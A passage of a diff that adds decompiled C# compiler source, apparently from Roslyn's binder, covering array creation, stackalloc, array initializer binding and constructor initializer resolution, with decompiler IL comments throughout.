ErrorCode.ERR_MissingArraySize, (CSharpSyntaxNode)arrayRankSpecifierSyntax); + hasErrors = true; + } + } + for (int i = 1; i < node.Type.RankSpecifiers.Count; i++) + { + enumerator = node.Type.RankSpecifiers[i].Sizes.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExpressionSyntax current2 = enumerator.Current; + if (current2.Kind() != SyntaxKind.OmittedArraySizeExpression) + { + BoundExpression boundExpression2 = BindRValueWithoutTargetType(current2, diagnostics); + Error(diagnostics, ErrorCode.ERR_InvalidArray, (CSharpSyntaxNode)current2); + hasErrors = true; + instance.Add(boundExpression2); + } + } + } + ImmutableArray immutableArray = instance.ToImmutableAndFree(); + if (node.Initializer != null) + { + InitializerExpressionSyntax? initializer = node.Initializer; + bool hasErrors2 = hasErrors; + return BindArrayCreationWithInitializer(diagnostics, node, initializer, type, immutableArray, default(ImmutableArray), hasErrors2); + } + return new BoundArrayCreation((SyntaxNode)(object)node, immutableArray, null, type, hasErrors); + } + + private BoundExpression BindArrayDimension(ExpressionSyntax dimension, BindingDiagnosticBag diagnostics, ref bool hasErrors) + { + if (dimension.Kind() != SyntaxKind.OmittedArraySizeExpression) + { + BoundExpression boundExpression = BindValue(dimension, diagnostics, BindValueKind.RValue); + if (!boundExpression.HasAnyErrors) + { + boundExpression = ConvertToArrayIndex(boundExpression, diagnostics, allowIndexAndRange: false, out var _); + if (IsNegativeConstantForArraySize(boundExpression)) + { + Error(diagnostics, ErrorCode.ERR_NegativeArraySize, (CSharpSyntaxNode)dimension); + hasErrors = true; + } + } + else + { + boundExpression = BindToTypeForErrorRecovery(boundExpression); + } + return boundExpression; + } + return null; + } + + private BoundExpression BindImplicitArrayCreationExpression(ImplicitArrayCreationExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureImplicitArray.CheckFeatureAvailability(diagnostics, node.NewKeyword); + InitializerExpressionSyntax initializer = node.Initializer; + SyntaxTokenList commas = node.Commas; + int rank = ((SyntaxTokenList)(ref commas)).Count + 1; + ImmutableArray immutableArray = BindArrayInitializerExpressions(initializer, diagnostics, 1, rank); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + bool inferredFromFunctionType; + TypeSymbol typeSymbol = BestTypeInferrer.InferBestType(immutableArray, Conversions, ref useSiteInfo, out inferredFromFunctionType); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + if ((object)typeSymbol == null || typeSymbol.IsVoidType()) + { + Error(diagnostics, ErrorCode.ERR_ImplicitlyTypedArrayNoBestType, (CSharpSyntaxNode)node); + typeSymbol = CreateErrorType(); + } + if (typeSymbol.IsRestrictedType()) + { + Error(diagnostics, ErrorCode.ERR_ArrayElementCantBeRefAny, (CSharpSyntaxNode)node, new object[1] { typeSymbol }); + } + ArrayTypeSymbol type = ArrayTypeSymbol.CreateCSharpArray(Compilation.Assembly, TypeWithAnnotations.Create(typeSymbol), rank); + return BindArrayCreationWithInitializer(diagnostics, node, initializer, type, ImmutableArray.Empty, immutableArray); + } + + private BoundExpression BindImplicitStackAllocArrayCreationExpression(ImplicitStackAllocArrayCreationExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + InitializerExpressionSyntax initializer = node.Initializer; + ImmutableArray immutableArray = BindArrayInitializerExpressions(initializer, diagnostics, 1, 1); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + bool inferredFromFunctionType; + TypeSymbol typeSymbol = BestTypeInferrer.InferBestType(immutableArray, Conversions, ref useSiteInfo, out inferredFromFunctionType); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + if ((object)typeSymbol == null || typeSymbol.IsVoidType()) + { + Error(diagnostics, ErrorCode.ERR_ImplicitlyTypedArrayNoBestType, (CSharpSyntaxNode)node); + typeSymbol = CreateErrorType(); + } + if (!typeSymbol.IsErrorType()) + { + CheckManagedAddr(Compilation, typeSymbol, ((SyntaxNode)node).Location, diagnostics, errorForManaged: true); + } + bool hasErrors; + return BindStackAllocWithInitializer((SyntaxNode)(object)node, node.StackAllocKeyword, initializer, GetStackAllocType((SyntaxNode)(object)node, TypeWithAnnotations.Create(typeSymbol), diagnostics, out hasErrors), typeSymbol, null, diagnostics, hasErrors, immutableArray); + } + + private ImmutableArray BindArrayInitializerExpressions(InitializerExpressionSyntax initializer, BindingDiagnosticBag diagnostics, int dimension, int rank) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + BindArrayInitializerExpressions(initializer, instance, diagnostics, dimension, rank); + return instance.ToImmutableAndFree(); + } + + private void BindArrayInitializerExpressions(InitializerExpressionSyntax initializer, ArrayBuilder exprBuilder, BindingDiagnosticBag diagnostics, int dimension, int rank) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator; + if (dimension == rank) + { + enumerator = initializer.Expressions.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExpressionSyntax current = enumerator.Current; + BoundExpression boundExpression = BindValue(current, diagnostics, BindValueKind.RValue); + exprBuilder.Add(boundExpression); + } + return; + } + enumerator = initializer.Expressions.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExpressionSyntax current2 = enumerator.Current; + if (current2.Kind() == SyntaxKind.ArrayInitializerExpression) + { + BindArrayInitializerExpressions((InitializerExpressionSyntax)current2, exprBuilder, diagnostics, dimension + 1, rank); + continue; + } + BoundExpression boundExpression2 = BindValue(current2, diagnostics, BindValueKind.RValue); + if ((object)boundExpression2.Type == null || !boundExpression2.Type.IsErrorType()) + { + if (!boundExpression2.HasAnyErrors) + { + Error(diagnostics, ErrorCode.ERR_ArrayInitializerExpected, (CSharpSyntaxNode)current2); + } + boundExpression2 = BadExpression((SyntaxNode)(object)current2, LookupResultKind.Empty, ImmutableArray.Create(boundExpression2.ExpressionSymbol), ImmutableArray.Create(boundExpression2)); + } + exprBuilder.Add(boundExpression2); + } + } + + private BoundArrayInitialization ConvertAndBindArrayInitialization(BindingDiagnosticBag diagnostics, InitializerExpressionSyntax node, ArrayTypeSymbol type, int?[] knownSizes, int dimension, ImmutableArray boundInitExpr, ref int boundInitExprIndex, bool isInferred) + { + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (dimension == type.Rank) + { + TypeSymbol elementType = type.ElementType; + Enumerator enumerator = node.Expressions.GetEnumerator(); + while (enumerator.MoveNext()) + { + _ = enumerator.Current; + BoundExpression expression = boundInitExpr[boundInitExprIndex]; + boundInitExprIndex++; + BoundExpression boundExpression = GenerateConversionForAssignment(elementType, expression, diagnostics); + instance.Add(boundExpression); + } + } + else + { + Enumerator enumerator = node.Expressions.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExpressionSyntax current = enumerator.Current; + BoundExpression boundExpression2 = null; + if (current.Kind() == SyntaxKind.ArrayInitializerExpression) + { + boundExpression2 = ConvertAndBindArrayInitialization(diagnostics, (InitializerExpressionSyntax)current, type, knownSizes, dimension + 1, boundInitExpr, ref boundInitExprIndex, isInferred); + } + else + { + boundExpression2 = boundInitExpr[boundInitExprIndex]; + boundInitExprIndex++; + } + instance.Add(boundExpression2); + } + } + bool hasErrors = false; + int? num = knownSizes[dimension - 1]; + if (!num.HasValue) + { + knownSizes[dimension - 1] = instance.Count; + } + else if (num != instance.Count && num >= 0) + { + Error(diagnostics, ErrorCode.ERR_ArrayInitializerIncorrectLength, (CSharpSyntaxNode)node, new object[1] { num.Value }); + hasErrors = true; + } + return new BoundArrayInitialization((SyntaxNode)(object)node, isInferred, instance.ToImmutableAndFree(), hasErrors); + } + + private BoundArrayInitialization BindArrayInitializerList(BindingDiagnosticBag diagnostics, InitializerExpressionSyntax node, ArrayTypeSymbol type, int?[] knownSizes, int dimension, bool isInferred, ImmutableArray boundInitExprOpt = default(ImmutableArray)) + { + if (boundInitExprOpt.IsDefault) + { + boundInitExprOpt = BindArrayInitializerExpressions(node, diagnostics, dimension, type.Rank); + } + int boundInitExprIndex = 0; + return ConvertAndBindArrayInitialization(diagnostics, node, type, knownSizes, dimension, boundInitExprOpt, ref boundInitExprIndex, isInferred); + } + + private BoundArrayInitialization BindUnexpectedArrayInitializer(InitializerExpressionSyntax node, BindingDiagnosticBag diagnostics, ErrorCode errorCode, CSharpSyntaxNode errorNode = null) + { + BoundArrayInitialization boundArrayInitialization = BindArrayInitializerList(diagnostics, node, Compilation.CreateArrayTypeSymbol(GetSpecialType((SpecialType)1, diagnostics, (SyntaxNode)(object)node)), new int?[1], 1, isInferred: false); + if (!boundArrayInitialization.HasAnyErrors) + { + boundArrayInitialization = new BoundArrayInitialization((SyntaxNode)(object)node, isInferred: false, boundArrayInitialization.Initializers, hasErrors: true); + } + Error(diagnostics, errorCode, errorNode ?? node); + return boundArrayInitialization; + } + + private BoundArrayCreation BindArrayCreationWithInitializer(BindingDiagnosticBag diagnostics, ExpressionSyntax creationSyntax, InitializerExpressionSyntax initSyntax, ArrayTypeSymbol type, ImmutableArray sizes, ImmutableArray boundInitExprOpt = default(ImmutableArray), bool hasErrors = false) + { + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + int rank = type.Rank; + int length = sizes.Length; + int?[] array = new int?[Math.Max(rank, length)]; + for (int i = 0; i < length; i++) + { + BoundExpression boundExpression = sizes[i]; + array[i] = GetIntegerConstantForArraySize(boundExpression); + if (!boundExpression.HasAnyErrors && !array[i].HasValue) + { + Error(diagnostics, ErrorCode.ERR_ConstantExpected, SyntaxNodeOrToken.op_Implicit(boundExpression.Syntax)); + hasErrors = true; + } + } + bool isInferred = ((SyntaxNode?)(object)creationSyntax).IsKind(SyntaxKind.ImplicitArrayCreationExpression); + BoundArrayInitialization boundArrayInitialization = BindArrayInitializerList(diagnostics, initSyntax, type, array, 1, isInferred, boundInitExprOpt); + hasErrors = hasErrors || boundArrayInitialization.HasAnyErrors; + bool flag = creationSyntax != null; + CSharpSyntaxNode cSharpSyntaxNode = creationSyntax ?? initSyntax; + if (length == 0) + { + BoundExpression[] array2 = new BoundExpression[rank]; + for (int j = 0; j < rank; j++) + { + array2[j] = new BoundLiteral((SyntaxNode)(object)cSharpSyntaxNode, ConstantValue.Create(array[j].GetValueOrDefault()), GetSpecialType((SpecialType)13, diagnostics, (SyntaxNode)(object)cSharpSyntaxNode)) + { + WasCompilerGenerated = true + }; + } + sizes = ImmutableArrayExtensions.AsImmutableOrNull(array2); + } + else if (!hasErrors && rank != length) + { + Error(diagnostics, ErrorCode.ERR_BadIndexCount, cSharpSyntaxNode, type.Rank); + hasErrors = true; + } + return new BoundArrayCreation((SyntaxNode)(object)cSharpSyntaxNode, sizes, boundArrayInitialization, type, hasErrors) + { + WasCompilerGenerated = (!flag && (initSyntax.Parent == null || initSyntax.Parent.Kind() != SyntaxKind.EqualsValueClause || ((EqualsValueClauseSyntax)initSyntax.Parent).Value != initSyntax)) + }; + } + + private BoundExpression BindStackAllocArrayCreationExpression(StackAllocArrayCreationExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_0170: Unknown result type (might be due to invalid IL or missing references) + //IL_0175: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_0108: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + //IL_0202: Unknown result type (might be due to invalid IL or missing references) + TypeSyntax type = node.Type; + if (type.Kind() != SyntaxKind.ArrayType) + { + Error(diagnostics, ErrorCode.ERR_BadStackAllocExpr, (CSharpSyntaxNode)type); + return new BoundBadExpression((SyntaxNode)(object)node, LookupResultKind.NotCreatable, ImmutableArray.Empty, ImmutableArray.Empty, new PointerTypeSymbol(BindType(type, diagnostics))); + } + ArrayTypeSyntax arrayTypeSyntax = (ArrayTypeSyntax)type; + TypeSyntax elementType = arrayTypeSyntax.ElementType; + TypeWithAnnotations elementTypeWithAnnotations = ((ArrayTypeSymbol)BindArrayType(arrayTypeSyntax, diagnostics, permitDimensions: true, null, disallowRestrictedTypes: false).Type).ElementTypeWithAnnotations; + bool hasErrors; + TypeSymbol stackAllocType = GetStackAllocType((SyntaxNode)(object)node, elementTypeWithAnnotations, diagnostics, out hasErrors); + if (!elementTypeWithAnnotations.Type.IsErrorType()) + { + hasErrors = hasErrors || CheckManagedAddr(Compilation, elementTypeWithAnnotations.Type, ((SyntaxNode)elementType).Location, diagnostics, errorForManaged: true); + } + SyntaxList rankSpecifiers = arrayTypeSyntax.RankSpecifiers; + if (rankSpecifiers.Count != 1 || rankSpecifiers[0].Sizes.Count != 1) + { + Error(diagnostics, ErrorCode.ERR_BadStackAllocExpr, (CSharpSyntaxNode)type); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Enumerator enumerator = rankSpecifiers.GetEnumerator(); + while (enumerator.MoveNext()) + { + Enumerator enumerator2 = enumerator.Current.Sizes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ExpressionSyntax current = enumerator2.Current; + if (current.Kind() != SyntaxKind.OmittedArraySizeExpression) + { + instance.Add(BindExpression(current, BindingDiagnosticBag.Discarded)); + } + } + } + return new BoundBadExpression((SyntaxNode)(object)node, LookupResultKind.Empty, ImmutableArray.Empty, instance.ToImmutableAndFree(), new PointerTypeSymbol(elementTypeWithAnnotations)); + } + ExpressionSyntax expressionSyntax = rankSpecifiers[0].Sizes[0]; + BoundExpression boundExpression = null; + if (expressionSyntax.Kind() != SyntaxKind.OmittedArraySizeExpression) + { + boundExpression = BindValue(expressionSyntax, diagnostics, BindValueKind.RValue); + boundExpression = GenerateConversionForAssignment(GetSpecialType((SpecialType)13, diagnostics, (SyntaxNode)(object)node), boundExpression, diagnostics); + if (IsNegativeConstantForArraySize(boundExpression)) + { + Error(diagnostics, ErrorCode.ERR_NegativeStackAllocSize, (CSharpSyntaxNode)expressionSyntax); + hasErrors = true; + } + } + else if (node.Initializer == null) + { + Error(diagnostics, ErrorCode.ERR_MissingArraySize, (CSharpSyntaxNode)rankSpecifiers[0]); + boundExpression = BadExpression((SyntaxNode)(object)expressionSyntax); + hasErrors = true; + } + if (node.Initializer != null) + { + return BindStackAllocWithInitializer((SyntaxNode)(object)node, node.StackAllocKeyword, node.Initializer, stackAllocType, elementTypeWithAnnotations.Type, boundExpression, diagnostics, hasErrors); + } + return new BoundStackAllocArrayCreation((SyntaxNode)(object)node, elementTypeWithAnnotations.Type, boundExpression, null, stackAllocType, hasErrors); + } + + private bool ReportBadStackAllocPosition(SyntaxNode node, BindingDiagnosticBag diagnostics) + { + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + bool flag = true; + if (MessageID.IDS_FeatureNestedStackalloc.RequiredVersion() > Compilation.LanguageVersion) + { + flag = (IsInMethodBody || IsLocalFunctionsScopeBinder) && node.IsLegalCSharp73SpanStackAllocPosition(); + if (!flag) + { + MessageID.IDS_FeatureNestedStackalloc.CheckFeatureAvailability(diagnostics, node.GetFirstToken(false, false, false, false)); + } + } + if (Flags.IncludesAny(BinderFlags.InCatchBlock | BinderFlags.InFinallyBlock | BinderFlags.InCatchFilter)) + { + Error(diagnostics, ErrorCode.ERR_StackallocInCatchFinally, SyntaxNodeOrToken.op_Implicit(node)); + } + return flag; + } + + private TypeSymbol GetStackAllocType(SyntaxNode node, TypeWithAnnotations elementTypeWithAnnotations, BindingDiagnosticBag diagnostics, out bool hasErrors) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + bool flag = ReportBadStackAllocPosition(node, diagnostics); + hasErrors = !flag; + if (flag && !isStackallocTargetTyped(node)) + { + CheckFeatureAvailability(node, MessageID.IDS_FeatureRefStructs, diagnostics); + NamedTypeSymbol wellKnownType = GetWellKnownType((WellKnownType)275, diagnostics, node); + return ConstructNamedType(wellKnownType, (SyntaxNode)(object)((node.Kind() == SyntaxKind.StackAllocArrayCreationExpression) ? ((StackAllocArrayCreationExpressionSyntax)(object)node).Type : ((TypeSyntax)(object)node)), default(SeparatedSyntaxList), ImmutableArray.Create(elementTypeWithAnnotations), null, diagnostics); + } + return null; + static bool isStackallocTargetTyped(SyntaxNode val) + { + SyntaxNode parent = val.Parent; + if (!parent.IsKind(SyntaxKind.EqualsValueClause)) + { + return false; + } + SyntaxNode parent2 = parent.Parent; + if (!parent2.IsKind(SyntaxKind.VariableDeclarator)) + { + return false; + } + SyntaxNode parent3 = parent2.Parent; + if (!parent3.IsKind(SyntaxKind.VariableDeclaration)) + { + return false; + } + if (!parent3.Parent.IsKind(SyntaxKind.LocalDeclarationStatement)) + { + return parent3.Parent.IsKind(SyntaxKind.ForStatement); + } + return true; + } + } + + private BoundExpression BindStackAllocWithInitializer(SyntaxNode node, SyntaxToken stackAllocKeyword, InitializerExpressionSyntax initSyntax, TypeSymbol type, TypeSymbol elementType, BoundExpression sizeOpt, BindingDiagnosticBag diagnostics, bool hasErrors, ImmutableArray boundInitExprOpt = default(ImmutableArray)) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureStackAllocInitializer.CheckFeatureAvailability(diagnostics, stackAllocKeyword); + if (boundInitExprOpt.IsDefault) + { + boundInitExprOpt = BindArrayInitializerExpressions(initSyntax, diagnostics, 1, 1); + } + boundInitExprOpt = ImmutableArrayExtensions.SelectAsArray(boundInitExprOpt, (Func)((BoundExpression expr, (TypeSymbol elementType, BindingDiagnosticBag diagnostics) t) => GenerateConversionForAssignment(t.elementType, expr, t.diagnostics)), (elementType, diagnostics)); + if (sizeOpt != null) + { + if (!sizeOpt.HasAnyErrors) + { + int? integerConstantForArraySize = GetIntegerConstantForArraySize(sizeOpt); + if (!integerConstantForArraySize.HasValue) + { + Error(diagnostics, ErrorCode.ERR_ConstantExpected, SyntaxNodeOrToken.op_Implicit(sizeOpt.Syntax)); + hasErrors = true; + } + else if (boundInitExprOpt.Length != integerConstantForArraySize) + { + Error(diagnostics, ErrorCode.ERR_ArrayInitializerIncorrectLength, SyntaxNodeOrToken.op_Implicit(node), integerConstantForArraySize.Value); + hasErrors = true; + } + } + } + else + { + sizeOpt = new BoundLiteral(node, ConstantValue.Create(boundInitExprOpt.Length), GetSpecialType((SpecialType)13, diagnostics, node)) + { + WasCompilerGenerated = true + }; + } + bool isInferred = node.IsKind(SyntaxKind.ImplicitStackAllocArrayCreationExpression); + return new BoundStackAllocArrayCreation(node, elementType, sizeOpt, new BoundArrayInitialization((SyntaxNode)(object)initSyntax, isInferred, boundInitExprOpt), type, hasErrors); + } + + private static int? GetIntegerConstantForArraySize(BoundExpression expression) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Invalid comparison between Unknown and I4 + if (expression.HasAnyErrors) + { + return null; + } + ConstantValue constantValueOpt = expression.ConstantValueOpt; + if (constantValueOpt == (ConstantValue)null || constantValueOpt.IsBad || (int)expression.Type.SpecialType != 13) + { + return null; + } + return constantValueOpt.Int32Value; + } + + private static bool IsNegativeConstantForArraySize(BoundExpression expression) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Invalid comparison between Unknown and I4 + if (expression.HasAnyErrors) + { + return false; + } + ConstantValue constantValueOpt = expression.ConstantValueOpt; + if (constantValueOpt == (ConstantValue)null || constantValueOpt.IsBad) + { + return false; + } + SpecialType specialType = expression.Type.SpecialType; + if ((int)specialType == 13) + { + return constantValueOpt.Int32Value < 0; + } + if ((int)specialType == 15) + { + return constantValueOpt.Int64Value < 0; + } + return false; + } + + internal BoundExpression BindConstructorInitializer(ArgumentListSyntax initializerArgumentListOpt, MethodSymbol constructor, BindingDiagnosticBag diagnostics) + { + Binder binder = null; + if (initializerArgumentListOpt != null) + { + binder = GetBinder((SyntaxNode)(object)initializerArgumentListOpt); + } + BoundExpression boundExpression = (binder ?? this).BindConstructorInitializerCore(initializerArgumentListOpt, constructor, diagnostics); + if (binder != null) + { + boundExpression = binder.WrapWithVariablesIfAny(initializerArgumentListOpt, boundExpression); + } + return boundExpression; + } + + private BoundExpression BindConstructorInitializerCore(ArgumentListSyntax initializerArgumentListOpt, MethodSymbol constructor, BindingDiagnosticBag diagnostics) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Invalid comparison between Unknown and I4 + //IL_013e: Unknown result type (might be due to invalid IL or missing references) + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Invalid comparison between Unknown and I4 + //IL_0234: Unknown result type (might be due to invalid IL or missing references) + //IL_03bf: Unknown result type (might be due to invalid IL or missing references) + //IL_03d6: Unknown result type (might be due to invalid IL or missing references) + //IL_0280: Unknown result type (might be due to invalid IL or missing references) + //IL_0285: Unknown result type (might be due to invalid IL or missing references) + //IL_0287: Unknown result type (might be due to invalid IL or missing references) + //IL_028a: Unknown result type (might be due to invalid IL or missing references) + //IL_028c: Invalid comparison between Unknown and I4 + NamedTypeSymbol containingType = constructor.ContainingType; + if (((int)containingType.TypeKind == 5 || (int)containingType.TypeKind == 10) && initializerArgumentListOpt == null) + { + return null; + } + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + try + { + TypeSymbol returnType = constructor.ReturnType; + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = containingType.BaseTypeNoUseSiteDiagnostics; + if (initializerArgumentListOpt != null) + { + BindArgumentsAndNames(initializerArgumentListOpt, diagnostics, instance, allowArglist: true); + } + NamedTypeSymbol namedTypeSymbol = containingType; + bool flag = initializerArgumentListOpt == null || initializerArgumentListOpt.Parent.Kind() != SyntaxKind.ThisConstructorInitializer; + if (flag) + { + namedTypeSymbol = namedTypeSymbol.BaseTypeNoUseSiteDiagnostics; + if ((object)namedTypeSymbol == null || (int)containingType.SpecialType == 1) + { + if (initializerArgumentListOpt == null) + { + return null; + } + diagnostics.Add(ErrorCode.ERR_ObjectCallingBaseConstructor, constructor.GetFirstLocation(), containingType); + return new BoundBadExpression((SyntaxNode)(object)initializerArgumentListOpt.Parent, LookupResultKind.Empty, ImmutableArray.Empty, BuildArgumentsForErrorRecovery(instance), returnType); + } + if (initializerArgumentListOpt != null && (int)containingType.TypeKind == 10) + { + diagnostics.Add(ErrorCode.ERR_StructWithBaseConstructorCall, constructor.GetFirstLocation(), containingType); + return new BoundBadExpression((SyntaxNode)(object)initializerArgumentListOpt.Parent, LookupResultKind.Empty, ImmutableArray.Empty, BuildArgumentsForErrorRecovery(instance), returnType); + } + } + CSharpSyntaxNode cSharpSyntaxNode = initializerArgumentListOpt?.Parent; + CSharpSyntaxNode cSharpSyntaxNode2; + Location val; + bool enableCallerInfo; + if (!(cSharpSyntaxNode is ConstructorInitializerSyntax constructorInitializerSyntax)) + { + if (cSharpSyntaxNode is PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeSyntax) + { + cSharpSyntaxNode2 = primaryConstructorBaseTypeSyntax; + val = initializerArgumentListOpt.GetLocation(); + enableCallerInfo = true; + } + else + { + cSharpSyntaxNode2 = constructor.GetNonNullSyntaxNode(); + val = constructor.GetFirstLocation(); + enableCallerInfo = false; + } + } + else + { + cSharpSyntaxNode2 = constructorInitializerSyntax; + SyntaxToken thisOrBaseKeyword = constructorInitializerSyntax.ThisOrBaseKeyword; + val = ((SyntaxToken)(ref thisOrBaseKeyword)).GetLocation(); + enableCallerInfo = true; + } + if (initializerArgumentListOpt != null && instance.HasDynamicArgument) + { + diagnostics.Add(ErrorCode.ERR_NoDynamicPhantomOnBaseCtor, val); + return new BoundBadExpression((SyntaxNode)(object)initializerArgumentListOpt.Parent, LookupResultKind.Empty, ImmutableArray.Empty, BuildArgumentsForErrorRecovery(instance), returnType); + } + BoundExpression boundExpression = ThisReference((SyntaxNode)(object)cSharpSyntaxNode2, namedTypeSymbol, hasErrors: false, wasCompilerGenerated: true); + MemberResolutionResult memberResolutionResult; + ImmutableArray candidateConstructors; + bool num = TryPerformConstructorOverloadResolution(namedTypeSymbol, instance, ".ctor", val, suppressResultDiagnostics: false, diagnostics, out memberResolutionResult, out candidateConstructors, allowProtectedConstructorsOfBaseType: true, suppressUnsupportedRequiredMembersError: true); + MethodSymbol member = memberResolutionResult.Member; + validateRecordCopyConstructor(constructor, baseTypeNoUseSiteDiagnostics, member, val, diagnostics); + if (num) + { + bool hasErrors = false; + if (member == constructor) + { + diagnostics.Add(ErrorCode.ERR_RecursiveConstructorCall, val, constructor); + hasErrors = true; + } + else if (member.HasParameterContainingPointerType()) + { + hasErrors = ReportUnsafeIfNotAllowed(val, diagnostics); + } + ReportDiagnosticsIfObsolete(diagnostics, member, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)cSharpSyntaxNode2), flag); + bool flag2 = memberResolutionResult.Result.Kind == MemberResolutionKind.ApplicableInExpandedForm; + ImmutableArray argsToParamsOpt = memberResolutionResult.Result.ArgsToParamsOpt; + if (constructor is SynthesizedPrimaryConstructor synthesizedPrimaryConstructor) + { + OrderedSet val2 = new OrderedSet(); + for (int i = 0; i < instance.Arguments.Count; i++) + { + RefKind val3 = instance.RefKind(i); + if (val3 - 1 <= 1) + { + continue; + } + (ParameterSymbol, SyntaxNode) tuple = TryGetPrimaryConstructorParameterUsedAsValue(synthesizedPrimaryConstructor, instance.Argument(i)); + var (parameterSymbol, _) = tuple; + if ((object)parameterSymbol == null) + { + continue; + } + SyntaxNode item = tuple.Item2; + if (item == null) + { + continue; + } + if (flag2) + { + ParameterSymbol correspondingParameter = GetCorrespondingParameter(i, member.Parameters, argsToParamsOpt, expanded: true); + if (correspondingParameter.Ordinal == member.ParameterCount - 1 && Microsoft.CodeAnalysis.CSharp.OverloadResolution.IsValidParamsParameter(correspondingParameter)) + { + continue; + } + } + if (val2.Add(parameterSymbol) && synthesizedPrimaryConstructor.GetCapturedParameters().ContainsKey(parameterSymbol)) + { + diagnostics.Add(ErrorCode.WRN_CapturedPrimaryConstructorParameterPassedToBase, item.Location, parameterSymbol); + } + } + synthesizedPrimaryConstructor.SetParametersPassedToTheBase((IReadOnlySet)(object)val2); + } + BindDefaultArguments((SyntaxNode)(object)cSharpSyntaxNode2, member.Parameters, instance.Arguments, instance.RefKinds, ref argsToParamsOpt, out var defaultArguments, flag2, enableCallerInfo, diagnostics); + ImmutableArray arguments = instance.Arguments.ToImmutable(); + ImmutableArray argumentRefKindsOpt = instance.RefKinds.ToImmutableOrNull(); + if (member.HasSetsRequiredMembers && !constructor.HasSetsRequiredMembers) + { + hasErrors = true; + diagnostics.Add(ErrorCode.ERR_ChainingToSetsRequiredMembersRequiresSetsRequiredMembers, val); + } + return new BoundCall((SyntaxNode)(object)cSharpSyntaxNode2, boundExpression, ReceiverIsSubjectToCloning(boundExpression, member), member, arguments, instance.GetNames(), argumentRefKindsOpt, isDelegateCall: false, flag2, invokedAsExtensionMethod: false, argsToParamsOpt, defaultArguments, LookupResultKind.Viable, returnType, hasErrors) + { + WasCompilerGenerated = (initializerArgumentListOpt == null) + }; + } + BoundCall boundCall = CreateBadCall((SyntaxNode)(object)cSharpSyntaxNode2, ".ctor", boundExpression, candidateConstructors, LookupResultKind.OverloadResolutionFailure, ImmutableArray.Empty, instance, invokedAsExtensionMethod: false, isDelegate: false); + boundCall.WasCompilerGenerated = initializerArgumentListOpt == null; + return boundCall; + } + finally + { + instance.Free(); + } 